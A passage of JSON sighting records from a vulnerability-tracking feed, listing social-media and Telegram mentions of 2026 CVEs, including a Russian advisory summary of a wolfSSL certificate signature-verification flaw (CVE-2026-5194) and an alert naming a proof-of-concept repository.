"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://mstdn.social/users/Hackread/statuses/116404528714839043", "content": "", "creation_timestamp": "2026-04-14T18:42:30.333088Z"}, {"uuid": "68c3237e-3c4e-49ad-9668-feff4198f195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/hackread.bsky.social/post/3mjhzytnxsk2b", "content": "", "creation_timestamp": "2026-04-14T18:44:33.407190Z"}, {"uuid": "4548c5ca-c312-4fdb-a39c-a20ea06d2bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5160", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjjhpqp6t72m", "content": "", "creation_timestamp": "2026-04-15T08:22:42.945970Z"}, {"uuid": "e413ed82-86af-4964-8336-f67f2c131db8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mjkkydmej22q", "content": "", "creation_timestamp": "2026-04-15T18:53:52.584680Z"}, {"uuid": "9f450ff8-80c8-4e75-a1b3-1ff89febbb63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjmytovusp2m", "content": "", "creation_timestamp": "2026-04-16T18:08:14.231779Z"}, {"uuid": "7fb36e81-0b52-4692-9b10-8e5b145b3da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5162", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjocfdxviq2f", "content": "", "creation_timestamp": "2026-04-17T06:30:44.006702Z"}, {"uuid": "8ad13917-15f4-4a7a-b7b0-0e1fae8296b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5131", "type": "seen", "source": "https://cert.pl/en/posts/2026/04/CVE-2026-5131", "content": "", "creation_timestamp": "2026-04-17T03:55:00.000000Z"}, {"uuid": "91d1c9fe-29c1-4978-ad00-972906349422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5131", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjp46v4ca222", "content": "", "creation_timestamp": "2026-04-17T14:12:24.426049Z"}, {"uuid": "ac370c80-57f3-48b1-9a17-0d5201a84783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5162", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjp5c52pil27", "content": "", "creation_timestamp": "2026-04-17T14:32:07.266390Z"}, {"uuid": "cf061965-7ce4-4b6c-9a75-d97747092cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mjpj4tkoo22k", "content": "", "creation_timestamp": "2026-04-17T18:04:00.829814Z"}, {"uuid": "ce714686-eb94-4319-a173-73dfbde36947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mjpj4tlg422k", "content": "", "creation_timestamp": "2026-04-17T18:04:01.347408Z"}, {"uuid": "08c44517-3105-4cfb-8c6c-b2d04de432eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mjpj4tljz22k", "content": "", "creation_timestamp": "2026-04-17T18:04:01.919287Z"}, {"uuid": "35e91fec-cab5-44c5-aa28-c765971d862b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mjpj4tluqs2k", "content": "", "creation_timestamp": "2026-04-17T18:04:02.466760Z"}, {"uuid": "79f652fa-ddcb-4353-b226-c4974bf16954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://t.me/true_secator/8099", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 wolfSSL SSL/TLS \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 \u0432\u0438\u0434\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0445\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445 (ECDSA).\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0434\u043b\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439.\n\nwolfSSL - \u044d\u0442\u043e \u043e\u0431\u043b\u0435\u0433\u0447\u0451\u043d\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f TLS/SSL \u043d\u0430 C, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u0434\u043b\u044f \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, IoT, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432, \u0431\u044b\u0442\u043e\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432, \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u0434\u0430\u0436\u0435 \u0430\u044d\u0440\u043e\u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0438\u043b\u0438 \u0432\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, wolfSSL \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0432 5 \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u00a0\u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u041d\u0438\u043a\u043e\u043b\u0430\u0441\u043e\u043c \u041a\u0430\u0440\u043b\u0438\u043d\u0438 \u0438\u0437 Anthropic \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-5194. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 wolfSSL 5.9.1, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 8 \u0430\u043f\u0440\u0435\u043b\u044f.\n\n\u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u0432 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0432 wolfSSL, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0441\u043b\u0430\u0431\u044b\u0435 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ECDSA/ECC, DSA, ML-DSA, Ed25519 \u0438 Ed448. \u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043e\u043a, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u044b \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e ECC \u0438 EdDSA \u0438\u043b\u0438 ML-DSA, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WolfSSL \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e\u00a0\u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0445\u0435\u0448\u0430/\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0430 \u0438 OID \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u044b \u043c\u0435\u043d\u044c\u0448\u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430, \u0447\u0435\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e \u043f\u0440\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 ECDSA, \u0438\u043b\u0438 \u043c\u0435\u043d\u044c\u0448\u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430, \u0447\u0435\u043c \u044d\u0442\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043b\u044e\u0447\u0430.\u00a0\n\n\u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 ECDSA, \u0435\u0441\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 \u0446\u0435\u043d\u0442\u0440\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CA).\n\n\u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e\u00a0\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u041b\u0443\u043a\u0430\u0448\u0430 \u041e\u043b\u0435\u0439\u043d\u0438\u043a\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 CVE-2026-5194 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u0438\u0445 \u00ab\u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0446\u0438\u0444\u0440\u043e\u0432\u0443\u044e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u0443\u044e, \u0434\u043e\u0432\u0435\u0440\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0444\u0430\u0439\u043b\u0443 \u0438\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043d\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u0442\u044c\u00bb.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0441 \u043c\u0435\u043d\u044c\u0448\u0438\u043c \u043f\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0443 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c, \u0447\u0435\u043c \u044d\u0442\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043f\u043e\u0434\u043f\u0438\u0441\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043b\u0435\u0433\u0447\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u043c\u043e\u0433\u0443\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u043c \u0441\u0440\u0435\u0434\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u043b\u0438\u0437\u044b wolfSSL, \u0430 \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430 Linux, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0435 \u041f\u041e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 SDK, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u0437\u0430 \u0440\u0430\u0437\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u043a \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0432 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438 Red Hat, \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u044e\u0449\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e MariaDB \u043d\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 OpenSSL, \u0430 \u043d\u0435 wolfSSL \u0434\u043b\u044f \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c wolfSSL, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0434\u0430\u0431\u044b \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432.", "creation_timestamp": "2026-04-14T10:55:31.000000Z"}, {"uuid": "b7bb6411-95bc-4d99-8108-3b21ed8edc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjqfe77gah2r", "content": "", "creation_timestamp": "2026-04-18T02:29:07.477260Z"}, {"uuid": "044f2ebc-9b18-49a3-8951-aac8bb0e6766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5190", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mjshaouyhh2h", "content": "", "creation_timestamp": "2026-04-18T22:08:15.141742Z"}, {"uuid": "ca882451-1107-4001-ba5d-5ae13cfce6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5160", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mk675fasgt2h", "content": "", "creation_timestamp": "2026-04-23T14:15:11.670146Z"}, {"uuid": "243d3ddc-3f84-478f-911e-6269486ef01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/79553", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-5173\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-09 08:37:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-5173\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-09T09:00:04.000000Z"}, {"uuid": "e0011985-5bdf-481b-8ad4-da75375ce7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5187", "type": "published-proof-of-concept", "source": "Telegram/9gW43b9NBHUXUdmlPt1TRwT-SkC94TdNTb4ccUrHaSNYF5M", "content": "", "creation_timestamp": "2026-04-16T21:19:58.000000Z"}, {"uuid": "51c79006-c40e-41e2-a9c3-d9c7b76b4d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5189", "type": "seen", "source": "Telegram/uDqb5UNOJD19g19jmJKdnJBBrEUml8WxLQrnFn708j03zpg", "content": "", "creation_timestamp": "2026-04-15T23:26:09.000000Z"}, {"uuid": "e0573fce-5303-4eb9-afda-4b12db10af2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": 